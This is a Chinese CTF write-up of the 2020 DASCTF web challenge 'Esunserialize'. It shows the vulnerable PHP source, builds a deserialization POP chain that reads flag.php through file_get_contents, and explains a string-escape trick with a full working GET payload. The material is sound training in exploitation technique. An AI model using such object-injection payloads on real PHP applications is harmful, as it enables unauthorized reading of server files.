2020 DASCTF四月春季战-Web

0x01 Esunserialize

构造反序列化Pop链
字符逃逸

  1. 上源码:

show_source("index.php");
function write($data) {
    return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
}

function read($data) {
    return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data);
}

class A{
    public $username;
    public $password;
    function __construct($a, $b){
        $this->username = $a;
        $this->password = $b;
    }
}

class B{
    public $b = 'gqy';
    function __destruct(){
        $c = 'a'.$this->b;
        echo $c;
    }
}

class C{
    public $c;
    function __toString(){
        //flag.php
        echo file_get_contents($this->c);
        return 'nice';
    }
}

$a = new A($_GET['a'],$_GET['b']);
//省略了存储序列化数据的过程,下面是取出来并反序列化的操作
$b = unserialize(read(write(serialize($a))));

2. 反序列化pop链的构造

  • 首先很明显应该利用C类的_toString()方法中的file_get_contents()获取flag。其中设变量c为flag.php。
  • 要调用_toString()方法需要,根据B类中$c = 'a'.$this->b,只需要令b变量为实例化的C类即可。
  • 而上面只对A类进行的实例化和赋值,所以我们令A类中的某个属性指向实例化的B类即构造了完整的pop链。
  1. paylaod
class A{
    public $username;
    public $password;
    function __construct($a, $b){
        $this->username = $a;
        $this->password = $b;
    }
}

class B{
    public $b = 'gqy';
    function __destruct(){
        $c = 'a'.$this->b;
        echo $c;
    }
}

class C{
    public $c;
    function __toString(){
        //flag.php
        echo file_get_contents($this->c);
        return 'nice';
    }
}
$a = new A(1,1);
$a->username = "1";
$a->password = new B();
$a->password->b=new C();
$a->password->b->c='flag.php';
echo serialize($a);

得到:

O:1:"A":2:{s:8:"username";s:1:"1";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}}

4. 之后就是字符逃逸了
主要的问题在于write()read()函数了。

function write($data) {
    return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
}

function read($data) {
    return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data);
}
  • 注意就是\0\0\0是六个字符,而chr(0)*chr(0)是三个字符。因此经过rwrite()和read()函数后,会出现三个字符的差距,从而造成字符逃逸。
  • 这道题要用到字符逃逸的主要原因是虽然我们上面序列化了可以获取flag的pop链,但是我们只能通过get方法传a和b参数,那么序列化的内容传入后会被重新序列化,并被当作username和password的值,从而破坏了payload的结构。所以我们需要的是传入的可以激发序列化链执行的password值,而不符合的password应该被闭合到前面username属性值中去。
  • 这里就主要用到以上字符逃逸方法,对于a变量,每传入三个\0\0\0会使得s:6;计数多出3来,这时它会自动往后寻找三个字符,如果能达到引号闭合,既可以构造成功的paylaod。
  • 如果我们传入以下内容
?a=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&b=c";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}}

然后进行实例化A类和unserialize(read(write(serialize($a))))操作后得到:

O:1:"A":2:{s:8:"username";s:48:
"********";s:8:"password";s:31:"
c";
s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}}
  • 其中的*字符相当于三个字符,因为*前后还有两个空字符。
  • 因为上面传入的a中是8对\0\0\0,所以共48个字符。这样被兑换成8对chr(0)*chr(0),这样多出来了24个字符。从而向后再取24个字符。
  • 为了更好的理解,上面结果作了分行。其中3+4行就是之前传入的b的值,作为原本password属性的值。
  • 而2+3行就是构造后的username的值,刚好在原来username基础上向后扩展24个字符后闭合,从而使得可以激起反序列化pop链的password的内容逃逸。
    简而言之,构造后
username=********";s:8:"password";s:31:"c
password=O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}}

所以password直接指向一个类,之后利用反序列化的魔术方法,最后获取flag。
在这里插入图片描述

你可能感兴趣的:(ctf)